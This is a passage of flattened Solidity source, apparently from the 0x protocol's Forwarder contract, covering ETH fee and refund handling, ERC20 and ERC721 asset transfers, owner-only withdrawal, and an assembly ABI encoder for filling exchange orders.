require( ethFee <= wethRemaining, "INSUFFICIENT_ETH_REMAINING" ); // Do nothing if no WETH remaining if (wethRemaining > 0) { // Convert remaining WETH to ETH ETHER_TOKEN.withdraw(wethRemaining); // Pay ETH to feeRecipient if (ethFee > 0) { feeRecipient.transfer(ethFee); } // Refund remaining ETH to msg.sender. uint256 ethRefund = safeSub(wethRemaining, ethFee); if (ethRefund > 0) { msg.sender.transfer(ethRefund); } } } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IAssets { /// @dev Withdraws assets from this contract. The contract requires a ZRX balance in order to /// function optimally, and this function allows the ZRX to be withdrawn by owner. It may also be /// used to withdraw assets that were accidentally sent to this contract. /// @param assetData Byte array encoded for the respective asset proxy. /// @param amount Amount of ERC20 token to withdraw. function withdrawAsset( bytes assetData, uint256 amount ) external; } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract MAssets is IAssets { /// @dev Transfers given amount of asset to sender. /// @param assetData Byte array encoded for the respective asset proxy. /// @param amount Amount of asset to transfer to sender. function transferAssetToSender( bytes memory assetData, uint256 amount ) internal; /// @dev Decodes ERC20 assetData and transfers given amount to sender. /// @param assetData Byte array encoded for the respective asset proxy. /// @param amount Amount of asset to transfer to sender. function transferERC20Token( bytes memory assetData, uint256 amount ) internal; /// @dev Decodes ERC721 assetData and transfers given amount to sender. /// @param assetData Byte array encoded for the respective asset proxy. /// @param amount Amount of asset to transfer to sender. function transferERC721Token( bytes memory assetData, uint256 amount ) internal; } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract MExchangeWrapper { /// @dev Fills the input order. /// Returns false if the transaction would otherwise revert. /// @param order Order struct containing order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signature Proof that order has been created by maker. /// @return Amounts filled and fees paid by maker and taker. function fillOrderNoThrow( LibOrder.Order memory order, uint256 takerAssetFillAmount, bytes memory signature ) internal returns (LibFillResults.FillResults memory fillResults); /// @dev Synchronously executes multiple calls of fillOrder until total amount of WETH has been sold by taker. /// Returns false if the transaction would otherwise revert. /// @param orders Array of order specifications. /// @param wethSellAmount Desired amount of WETH to sell. /// @param signatures Proofs that orders have been signed by makers. /// @return Amounts filled and fees paid by makers and taker. function marketSellWeth( LibOrder.Order[] memory orders, uint256 wethSellAmount, bytes[] memory signatures ) internal returns (LibFillResults.FillResults memory totalFillResults); /// @dev Synchronously executes multiple fill orders in a single transaction until total amount is bought by taker. /// Returns false if the transaction would otherwise revert. /// The asset being sold by taker must always be WETH. /// @param orders Array of order specifications. /// @param makerAssetFillAmount Desired amount of makerAsset to buy. /// @param signatures Proofs that orders have been signed by makers. /// @return Amounts filled and fees paid by makers and taker. function marketBuyExactAmountWithWeth( LibOrder.Order[] memory orders, uint256 makerAssetFillAmount, bytes[] memory signatures ) internal returns (LibFillResults.FillResults memory totalFillResults); /// @dev Buys zrxBuyAmount of ZRX fee tokens, taking into account ZRX fees for each order. This will guarantee /// that at least zrxBuyAmount of ZRX is purchased (sometimes slightly over due to rounding issues). /// It is possible that a request to buy 200 ZRX will require purchasing 202 ZRX /// as 2 ZRX is required to purchase the 200 ZRX fee tokens. This guarantees at least 200 ZRX for future purchases. /// The asset being sold by taker must always be WETH. /// @param orders Array of order specifications containing ZRX as makerAsset and WETH as takerAsset. /// @param zrxBuyAmount Desired amount of ZRX to buy. /// @param signatures Proofs that orders have been created by makers. /// @return totalFillResults Amounts filled and fees paid by maker and taker. function marketBuyExactZrxWithWeth( LibOrder.Order[] memory orders, uint256 zrxBuyAmount, bytes[] memory signatures ) internal returns (LibFillResults.FillResults memory totalFillResults); } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IForwarderCore { /// @dev Purchases as much of orders' makerAssets as possible by selling up to 95% of transaction's ETH value. /// Any ZRX required to pay fees for primary orders will automatically be purchased by this contract. /// 5% of ETH value is reserved for paying fees to order feeRecipients (in ZRX) and forwarding contract feeRecipient (in ETH). /// Any ETH not spent will be refunded to sender. /// @param orders Array of order specifications used containing desired makerAsset and WETH as takerAsset. /// @param signatures Proofs that orders have been created by makers. /// @param feeOrders Array of order specifications containing ZRX as makerAsset and WETH as takerAsset. Used to purchase ZRX for primary order fees. /// @param feeSignatures Proofs that feeOrders have been created by makers. /// @param feePercentage Percentage of WETH sold that will payed as fee to forwarding contract feeRecipient. /// @param feeRecipient Address that will receive ETH when orders are filled. /// @return Amounts filled and fees paid by maker and taker for both sets of orders. function marketSellOrdersWithEth( LibOrder.Order[] memory orders, bytes[] memory signatures, LibOrder.Order[] memory feeOrders, bytes[] memory feeSignatures, uint256 feePercentage, address feeRecipient ) public payable returns ( LibFillResults.FillResults memory orderFillResults, LibFillResults.FillResults memory feeOrderFillResults ); /// @dev Attempt to purchase makerAssetFillAmount of makerAsset by selling ETH provided with transaction. /// Any ZRX required to pay fees for primary orders will automatically be purchased by this contract. /// Any ETH not spent will be refunded to sender. /// @param orders Array of order specifications used containing desired makerAsset and WETH as takerAsset. /// @param makerAssetFillAmount Desired amount of makerAsset to purchase. /// @param signatures Proofs that orders have been created by makers. /// @param feeOrders Array of order specifications containing ZRX as makerAsset and WETH as takerAsset. Used to purchase ZRX for primary order fees. /// @param feeSignatures Proofs that feeOrders have been created by makers. /// @param feePercentage Percentage of WETH sold that will payed as fee to forwarding contract feeRecipient. /// @param feeRecipient Address that will receive ETH when orders are filled. /// @return Amounts filled and fees paid by maker and taker for both sets of orders. function marketBuyOrdersWithEth( LibOrder.Order[] memory orders, uint256 makerAssetFillAmount, bytes[] memory signatures, LibOrder.Order[] memory feeOrders, bytes[] memory feeSignatures, uint256 feePercentage, address feeRecipient ) public payable returns ( LibFillResults.FillResults memory orderFillResults, LibFillResults.FillResults memory feeOrderFillResults ); } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract MixinForwarderCore is LibFillResults, LibMath, LibConstants, MWeth, MAssets, MExchangeWrapper, IForwarderCore { using LibBytes for bytes; /// @dev Constructor approves ERC20 proxy to transfer ZRX and WETH on this contract's behalf. constructor () public { address proxyAddress = EXCHANGE.getAssetProxy(ERC20_DATA_ID); require( proxyAddress != address(0), "UNREGISTERED_ASSET_PROXY" ); ETHER_TOKEN.approve(proxyAddress, MAX_UINT); ZRX_TOKEN.approve(proxyAddress, MAX_UINT); } /// @dev Purchases as much of orders' makerAssets as possible by selling up to 95% of transaction's ETH value. /// Any ZRX required to pay fees for primary orders will automatically be purchased by this contract. /// 5% of ETH value is reserved for paying fees to order feeRecipients (in ZRX) and forwarding contract feeRecipient (in ETH). /// Any ETH not spent will be refunded to sender. /// @param orders Array of order specifications used containing desired makerAsset and WETH as takerAsset. /// @param signatures Proofs that orders have been created by makers. /// @param feeOrders Array of order specifications containing ZRX as makerAsset and WETH as takerAsset. Used to purchase ZRX for primary order fees. /// @param feeSignatures Proofs that feeOrders have been created by makers. /// @param feePercentage Percentage of WETH sold that will payed as fee to forwarding contract feeRecipient. /// @param feeRecipient Address that will receive ETH when orders are filled. /// @return Amounts filled and fees paid by maker and taker for both sets of orders. function marketSellOrdersWithEth( LibOrder.Order[] memory orders, bytes[] memory signatures, LibOrder.Order[] memory feeOrders, bytes[] memory feeSignatures, uint256 feePercentage, address feeRecipient ) public payable returns ( FillResults memory orderFillResults, FillResults memory feeOrderFillResults ) { // Convert ETH to WETH. convertEthToWeth(); uint256 wethSellAmount; uint256 zrxBuyAmount; uint256 makerAssetAmountPurchased; if (orders[0].makerAssetData.equals(ZRX_ASSET_DATA)) { // Calculate amount of WETH that won't be spent on ETH fees. wethSellAmount = getPartialAmountFloor( PERCENTAGE_DENOMINATOR, safeAdd(PERCENTAGE_DENOMINATOR, feePercentage), msg.value ); // Market sell available WETH. // ZRX fees are paid with this contract's balance. orderFillResults = marketSellWeth( orders, wethSellAmount, signatures ); // The fee amount must be deducted from the amount transfered back to sender. makerAssetAmountPurchased = safeSub(orderFillResults.makerAssetFilledAmount, orderFillResults.takerFeePaid); } else { // 5% of WETH is reserved for filling feeOrders and paying feeRecipient. wethSellAmount = getPartialAmountFloor( MAX_WETH_FILL_PERCENTAGE, PERCENTAGE_DENOMINATOR, msg.value ); // Market sell 95% of WETH. // ZRX fees are payed with this contract's balance. orderFillResults = marketSellWeth( orders, wethSellAmount, signatures ); // Buy back all ZRX spent on fees. zrxBuyAmount = orderFillResults.takerFeePaid; feeOrderFillResults = marketBuyExactZrxWithWeth( feeOrders, zrxBuyAmount, feeSignatures ); makerAssetAmountPurchased = orderFillResults.makerAssetFilledAmount; } // Transfer feePercentage of total ETH spent on primary orders to feeRecipient. // Refund remaining ETH to msg.sender. transferEthFeeAndRefund( orderFillResults.takerAssetFilledAmount, feeOrderFillResults.takerAssetFilledAmount, feePercentage, feeRecipient ); // Transfer purchased assets to msg.sender. transferAssetToSender(orders[0].makerAssetData, makerAssetAmountPurchased); } /// @dev Attempt to purchase makerAssetFillAmount of makerAsset by selling ETH provided with transaction. /// Any ZRX required to pay fees for primary orders will automatically be purchased by this contract. /// Any ETH not spent will be refunded to sender. /// @param orders Array of order specifications used containing desired makerAsset and WETH as takerAsset. /// @param makerAssetFillAmount Desired amount of makerAsset to purchase. /// @param signatures Proofs that orders have been created by makers. /// @param feeOrders Array of order specifications containing ZRX as makerAsset and WETH as takerAsset. Used to purchase ZRX for primary order fees. /// @param feeSignatures Proofs that feeOrders have been created by makers. /// @param feePercentage Percentage of WETH sold that will payed as fee to forwarding contract feeRecipient. /// @param feeRecipient Address that will receive ETH when orders are filled. /// @return Amounts filled and fees paid by maker and taker for both sets of orders. function marketBuyOrdersWithEth( LibOrder.Order[] memory orders, uint256 makerAssetFillAmount, bytes[] memory signatures, LibOrder.Order[] memory feeOrders, bytes[] memory feeSignatures, uint256 feePercentage, address feeRecipient ) public payable returns ( FillResults memory orderFillResults, FillResults memory feeOrderFillResults ) { // Convert ETH to WETH. convertEthToWeth(); uint256 zrxBuyAmount; uint256 makerAssetAmountPurchased; if (orders[0].makerAssetData.equals(ZRX_ASSET_DATA)) { // If the makerAsset is ZRX, it is not necessary to pay fees out of this // contracts's ZRX balance because fees are factored into the price of the order. orderFillResults = marketBuyExactZrxWithWeth( orders, makerAssetFillAmount, signatures ); // The fee amount must be deducted from the amount transfered back to sender. makerAssetAmountPurchased = safeSub(orderFillResults.makerAssetFilledAmount, orderFillResults.takerFeePaid); } else { // Attemp to purchase desired amount of makerAsset. // ZRX fees are payed with this contract's balance. orderFillResults = marketBuyExactAmountWithWeth( orders, makerAssetFillAmount, signatures ); // Buy back all ZRX spent on fees. zrxBuyAmount = orderFillResults.takerFeePaid; feeOrderFillResults = marketBuyExactZrxWithWeth( feeOrders, zrxBuyAmount, feeSignatures ); makerAssetAmountPurchased = orderFillResults.makerAssetFilledAmount; } // Transfer feePercentage of total ETH spent on primary orders to feeRecipient. // Refund remaining ETH to msg.sender. transferEthFeeAndRefund( orderFillResults.takerAssetFilledAmount, feeOrderFillResults.takerAssetFilledAmount, feePercentage, feeRecipient ); // Transfer purchased assets to msg.sender. transferAssetToSender(orders[0].makerAssetData, makerAssetAmountPurchased); } } contract IOwnable { function transferOwnership(address newOwner) public; } contract Ownable is IOwnable { address public owner; constructor () public { owner = msg.sender; } modifier onlyOwner() { require( msg.sender == owner, "ONLY_CONTRACT_OWNER" ); _; } function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IERC721Token { /// @dev This emits when ownership of any NFT changes by any mechanism. /// This event emits when NFTs are created (`from` == 0) and destroyed /// (`to` == 0). Exception: during contract creation, any number of NFTs /// may be created and assigned without emitting Transfer. At the time of /// any transfer, the approved address for that NFT (if any) is reset to none. event Transfer( address indexed _from, address indexed _to, uint256 indexed _tokenId ); /// @dev This emits when the approved address for an NFT is changed or /// reaffirmed. The zero address indicates there is no approved address. /// When a Transfer event emits, this also indicates that the approved /// address for that NFT (if any) is reset to none. event Approval( address indexed _owner, address indexed _approved, uint256 indexed _tokenId ); /// @dev This emits when an operator is enabled or disabled for an owner. /// The operator can manage all NFTs of the owner. event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); /// @notice Transfers the ownership of an NFT from one address to another address /// @dev Throws unless `msg.sender` is the current owner, an authorized /// perator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. When transfer is complete, this function /// checks if `_to` is a smart contract (code size > 0). If so, it calls /// `onERC721Received` on `_to` and throws if the return value is not /// `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer /// @param _data Additional data with no specified format, sent in call to `_to` function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) external; /// @notice Transfers the ownership of an NFT from one address to another address /// @dev This works identically to the other function with an extra data parameter, /// except this function just sets data to "". /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function safeTransferFrom( address _from, address _to, uint256 _tokenId ) external; /// @notice Change or reaffirm the approved address for an NFT /// @dev The zero address indicates there is no approved address. /// Throws unless `msg.sender` is the current NFT owner, or an authorized /// operator of the current owner. /// @param _approved The new approved NFT controller /// @param _tokenId The NFT to approve function approve(address _approved, uint256 _tokenId) external; /// @notice Enable or disable approval for a third party ("operator") to manage /// all of `msg.sender`'s assets /// @dev Emits the ApprovalForAll event. The contract MUST allow /// multiple operators per owner. /// @param _operator Address to add to the set of authorized operators /// @param _approved True if the operator is approved, false to revoke approval function setApprovalForAll(address _operator, bool _approved) external; /// @notice Count all NFTs assigned to an owner /// @dev NFTs assigned to the zero address are considered invalid, and this /// function throws for queries about the zero address. /// @param _owner An address for whom to query the balance /// @return The number of NFTs owned by `_owner`, possibly zero function balanceOf(address _owner) external view returns (uint256); /// @notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE /// TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE /// THEY MAY BE PERMANENTLY LOST /// @dev Throws unless `msg.sender` is the current owner, an authorized /// operator, or the approved address for this NFT. Throws if `_from` is /// not the current owner. Throws if `_to` is the zero address. Throws if /// `_tokenId` is not a valid NFT. /// @param _from The current owner of the NFT /// @param _to The new owner /// @param _tokenId The NFT to transfer function transferFrom( address _from, address _to, uint256 _tokenId ) public; /// @notice Find the owner of an NFT /// @dev NFTs assigned to zero address are considered invalid, and queries /// about them do throw. /// @param _tokenId The identifier for an NFT /// @return The address of the owner of the NFT function ownerOf(uint256 _tokenId) public view returns (address); /// @notice Get the approved address for a single NFT /// @dev Throws if `_tokenId` is not a valid NFT. /// @param _tokenId The NFT to find the approved address for /// @return The approved address for this NFT, or the zero address if there is none function getApproved(uint256 _tokenId) public view returns (address); /// @notice Query if an address is an authorized operator for another address /// @param _owner The address that owns the NFTs /// @param _operator The address that acts on behalf of the owner /// @return True if `_operator` is an approved operator for `_owner`, false otherwise function isApprovedForAll(address _owner, address _operator) public view returns (bool); } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract MixinAssets is Ownable, LibConstants, MAssets { using LibBytes for bytes; bytes4 constant internal ERC20_TRANSFER_SELECTOR = bytes4(keccak256("transfer(address,uint256)")); /// @dev Withdraws assets from this contract. The contract requires a ZRX balance in order to /// function optimally, and this function allows the ZRX to be withdrawn by owner. It may also be /// used to withdraw assets that were accidentally sent to this contract. /// @param assetData Byte array encoded for the respective asset proxy. /// @param amount Amount of ERC20 token to withdraw. function withdrawAsset( bytes assetData, uint256 amount ) external onlyOwner { transferAssetToSender(assetData, amount); } /// @dev Transfers given amount of asset to sender. /// @param assetData Byte array encoded for the respective asset proxy. /// @param amount Amount of asset to transfer to sender. function transferAssetToSender( bytes memory assetData, uint256 amount ) internal { bytes4 proxyId = assetData.readBytes4(0); if (proxyId == ERC20_DATA_ID) { transferERC20Token(assetData, amount); } else if (proxyId == ERC721_DATA_ID) { transferERC721Token(assetData, amount); } else { revert("UNSUPPORTED_ASSET_PROXY"); } } /// @dev Decodes ERC20 assetData and transfers given amount to sender. /// @param assetData Byte array encoded for the respective asset proxy. /// @param amount Amount of asset to transfer to sender. function transferERC20Token( bytes memory assetData, uint256 amount ) internal { address token = assetData.readAddress(16); // Transfer tokens. // We do a raw call so we can check the success separate // from the return data. bool success = token.call(abi.encodeWithSelector( ERC20_TRANSFER_SELECTOR, msg.sender, amount )); require( success, "TRANSFER_FAILED" ); // Check return data. // If there is no return data, we assume the token incorrectly // does not return a bool. In this case we expect it to revert // on failure, which was handled above. // If the token does return data, we require that it is a single // value that evaluates to true. assembly { if returndatasize { success := 0 if eq(returndatasize, 32) { // First 64 bytes of memory are reserved scratch space returndatacopy(0, 0, 32) success := mload(0) } } } require( success, "TRANSFER_FAILED" ); } /// @dev Decodes ERC721 assetData and transfers given amount to sender. /// @param assetData Byte array encoded for the respective asset proxy. /// @param amount Amount of asset to transfer to sender. function transferERC721Token( bytes memory assetData, uint256 amount ) internal { require( amount == 1, "INVALID_AMOUNT" ); // Decode asset data. address token = assetData.readAddress(16); uint256 tokenId = assetData.readUint256(36); // Perform transfer. IERC721Token(token).transferFrom( address(this), msg.sender, tokenId ); } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract LibAbiEncoder { /// @dev ABI encodes calldata for `fillOrder`. /// @param order Order struct containing order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signature Proof that order has been created by maker. /// @return ABI encoded calldata for `fillOrder`. function abiEncodeFillOrder( LibOrder.Order memory order, uint256 takerAssetFillAmount, bytes memory signature ) internal pure returns (bytes memory fillOrderCalldata) { // We need to call MExchangeCore.fillOrder using a delegatecall in // assembly so that we can intercept a call that throws. For this, we // need the input encoded in memory in the Ethereum ABIv2 format [1]. // | Area | Offset | Length | Contents | // | -------- |--------|---------|-------------------------------------------- | // | Header | 0x00 | 4 | function selector | // | Params | | 3 * 32 | function parameters: | // | | 0x00 | | 1. offset to order (*) | // | | 0x20 | | 2. takerAssetFillAmount | // | | 0x40 | | 3. offset to signature (*) | // | Data | | 12 * 32 | order: | // | | 0x000 | | 1. senderAddress | // | | 0x020 | | 2. makerAddress | // | | 0x040 | | 3. takerAddress | // | | 0x060 | | 4. feeRecipientAddress | // | | 0x080 | | 5. makerAssetAmount | // | | 0x0A0 | | 6. takerAssetAmount | // | | 0x0C0 | | 7. makerFeeAmount | // | | 0x0E0 | | 8. takerFeeAmount | // | | 0x100 | | 9. expirationTimeSeconds | // | | 0x120 | | 10. salt | // | | 0x140 | | 11. Offset to makerAssetData (*) | // | | 0x160 | | 12. Offset to takerAssetData (*) | // | | 0x180 | 32 | makerAssetData Length | // | | 0x1A0 | ** | makerAssetData Contents | // | | 0x1C0 | 32 | takerAssetData Length | // | | 0x1E0 | ** | takerAssetData Contents | // | | 0x200 | 32 | signature Length | // | | 0x220 | ** | signature Contents | // * Offsets are calculated from the beginning of the current area: Header, Params, Data: // An offset stored in the Params area is calculated from the beginning of the Params section. // An offset stored in the Data area is calculated from the beginning of the Data section. // ** The length of dynamic array contents are stored in the field immediately preceeding the contents. // [1]: https://solidity.readthedocs.io/en/develop/abi-spec.html assembly { // Areas below may use the following variables: // 1. <area>Start -- Start of this area in memory // 2. <area>End -- End of this area in memory. This value may // be precomputed (before writing contents), // or it may be computed as contents are written. // 3. <area>Offset -- Current offset into area. If an area's End // is precomputed, this variable tracks the // offsets of contents as they are written. /////// Setup Header Area /////// // Load free memory pointer fillOrderCalldata := mload(0x40) // bytes4(keccak256("fillOrder((address,address,address,address,uint256,uint256,uint256,uint256,uint256,uint256,bytes,bytes),uint256,bytes)")) // = 0xb4be83d5 // Leave 0x20 bytes to store the length mstore(add(fillOrderCalldata, 0x20), 0xb4be83d500000000000000000000000000000000000000000000000000000000) let headerAreaEnd := add(fillOrderCalldata, 0x24) /////// Setup Params Area /////// // This area is preallocated and written to later. // This is because we need to fill in offsets that have not yet been calculated. let paramsAreaStart := headerAreaEnd let paramsAreaEnd := add(paramsAreaStart, 0x60) let paramsAreaOffset := paramsAreaStart /////// Setup Data Area /////// let dataAreaStart := paramsAreaEnd let dataAreaEnd := dataAreaStart // Offset from the source data we're reading from let sourceOffset := order // arrayLenBytes and arrayLenWords track the length of a dynamically-allocated bytes array. let arrayLenBytes := 0 let arrayLenWords := 0 /////// Write order Struct /////// // Write memory location of Order, relative to the start of the // parameter list, then increment the paramsAreaOffset respectively. mstore(paramsAreaOffset, sub(dataAreaEnd, paramsAreaStart)) paramsAreaOffset := add(paramsAreaOffset, 0x20) // Write values for each field in the order // It would be nice to use a loop, but we save on gas by writing // the stores sequentially. mstore(dataAreaEnd, mload(sourceOffset)) // makerAddress mstore(add(dataAreaEnd, 0x20), mload(add(sourceOffset, 0x20))) // takerAddress mstore(add(dataAreaEnd, 0x40), mload(add(sourceOffset, 0x40))) // feeRecipientAddress mstore(add(dataAreaEnd, 0x60), mload(add(sourceOffset, 0x60))) // senderAddress mstore(add(dataAreaEnd, 0x80), mload(add(sourceOffset, 0x80))) // makerAssetAmount mstore(add(dataAreaEnd, 0xA0), mload(add(sourceOffset, 0xA0))) // takerAssetAmount mstore(add(dataAreaEnd, 0xC0), mload(add(sourceOffset, 0xC0))) // makerFeeAmount mstore(add(dataAreaEnd, 0xE0), mload(add(sourceOffset, 0xE0))) // takerFeeAmount mstore(add(dataAreaEnd, 0x100), mload(add(sourceOffset, 0x100))) // expirationTimeSeconds mstore(add(dataAreaEnd, 0x120), mload(add(sourceOffset, 0x120))) // salt mstore(add(dataAreaEnd, 0x140), mload(add(sourceOffset, 0x140))) // Offset to makerAssetData mstore(add(dataAreaEnd, 0x160), mload(add(sourceOffset, 0x160))) // Offset to takerAssetData dataAreaEnd := add(dataAreaEnd, 0x180) sourceOffset := add(sourceOffset, 0x180) // Write offset to <order.makerAssetData> mstore(add(dataAreaStart, mul(10, 0x20)), sub(dataAreaEnd, dataAreaStart)) // Calculate length of <order.makerAssetData> sourceOffset := mload(add(order, 0x140)) // makerAssetData arrayLenBytes := mload(sourceOffset) sourceOffset := add(sourceOffset, 0x20) arrayLenWords := div(add(arrayLenBytes, 0x1F), 0x20) // Write length of <order.makerAssetData> mstore(dataAreaEnd, arrayLenBytes) dataAreaEnd := add(dataAreaEnd, 0x20) // Write contents of <order.makerAssetData> for {let i := 0} lt(i, arrayLenWords) {i := add(i, 1)} { mstore(dataAreaEnd, mload(sourceOffset)) dataAreaEnd := add(dataAreaEnd, 0x20) sourceOffset := add(sourceOffset, 0x20) } // Write offset to <order.takerAssetData> mstore(add(dataAreaStart, mul(11, 0x20)), sub(dataAreaEnd, dataAreaStart)) // Calculate length of <order.takerAssetData> sourceOffset := mload(add(order, 0x160)) // takerAssetData arrayLenBytes := mload(sourceOffset) sourceOffset := add(sourceOffset, 0x20) arrayLenWords := div(add(arrayLenBytes, 0x1F), 0x20) // Write length of <order.takerAssetData> mstore(dataAreaEnd, arrayLenBytes) dataAreaEnd := add(dataAreaEnd, 0x20) // Write contents of <order.takerAssetData> for {let i := 0} lt(i, arrayLenWords) {i := add(i, 1)} { mstore(dataAreaEnd, mload(sourceOffset)) dataAreaEnd := add(dataAreaEnd, 0x20) sourceOffset := add(sourceOffset, 0x20) } /////// Write takerAssetFillAmount /////// mstore(paramsAreaOffset, takerAssetFillAmount) paramsAreaOffset := add(paramsAreaOffset, 0x20) /////// Write signature /////// // Write offset to paramsArea mstore(paramsAreaOffset, sub(dataAreaEnd, paramsAreaStart)) // Calculate length of signature sourceOffset := signature arrayLenBytes := mload(sourceOffset) sourceOffset := add(sourceOffset, 0x20) arrayLenWords := div(add(arrayLenBytes, 0x1F), 0x20) // Write length of signature mstore(dataAreaEnd, arrayLenBytes) dataAreaEnd := add(dataAreaEnd, 0x20) // Write contents of signature for {let i := 0} lt(i, arrayLenWords) {i := add(i, 1)} { mstore(dataAreaEnd, mload(sourceOffset)) dataAreaEnd := add(dataAreaEnd, 0x20) sourceOffset := add(sourceOffset, 0x20) } // Set length of calldata mstore(fillOrderCalldata, sub(dataAreaEnd, add(fillOrderCalldata, 0x20))) // Increment free memory pointer mstore(0x40, dataAreaEnd) } return fillOrderCalldata; } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract MixinExchangeWrapper is LibAbiEncoder, LibFillResults, LibMath, LibConstants, MExchangeWrapper { /// @dev Fills the input order. /// Returns false if the transaction would otherwise revert. /// @param order Order struct containing order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signature Proof that order has been created by maker. /// @return Amounts filled and fees paid by maker and taker. function fillOrderNoThrow( LibOrder.Order memory order, uint256 takerAssetFillAmount, bytes memory signature ) internal returns (FillResults memory fillResults) { // ABI encode calldata for `fillOrder` bytes memory fillOrderCalldata = abiEncodeFillOrder( order, takerAssetFillAmount, signature ); address exchange = address(EXCHANGE); // Call `fillOrder` and handle any exceptions gracefully assembly { let success := call( gas, // forward all gas exchange, // call address of Exchange contract 0, // transfer 0 wei add(fillOrderCalldata, 32), // pointer to start of input (skip array length in first 32 bytes) mload(fillOrderCalldata), // length of input fillOrderCalldata, // write output over input 128 // output size is 128 bytes ) if success { mstore(fillResults, mload(fillOrderCalldata)) mstore(add(fillResults, 32), mload(add(fillOrderCalldata, 32))) mstore(add(fillResults, 64), mload(add(fillOrderCalldata, 64))) mstore(add(fillResults, 96), mload(add(fillOrderCalldata, 96))) } } // fillResults values will be 0 by default if call was unsuccessful return fillResults; } /// @dev Synchronously executes multiple calls of fillOrder until total amount of WETH has been sold by taker. /// Returns false if the transaction would otherwise revert. /// @param orders Array of order specifications. /// @param wethSellAmount Desired amount of WETH to sell. /// @param signatures Proofs that orders have been signed by makers. /// @return Amounts filled and fees paid by makers and taker. function marketSellWeth( LibOrder.Order[] memory orders, uint256 wethSellAmount, bytes[] memory signatures ) internal returns (FillResults memory totalFillResults) { bytes memory makerAssetData = orders[0].makerAssetData; bytes memory wethAssetData = WETH_ASSET_DATA; uint256 ordersLength = orders.length; for (uint256 i = 0; i != ordersLength; i++) { // We assume that asset being bought by taker is the same for each order. // We assume that asset being sold by taker is WETH for each order. orders[i].makerAssetData = makerAssetData; orders[i].takerAssetData = wethAssetData; // Calculate the remaining amount of WETH to sell uint256 remainingTakerAssetFillAmount = safeSub(wethSellAmount, totalFillResults.takerAssetFilledAmount); // Attempt 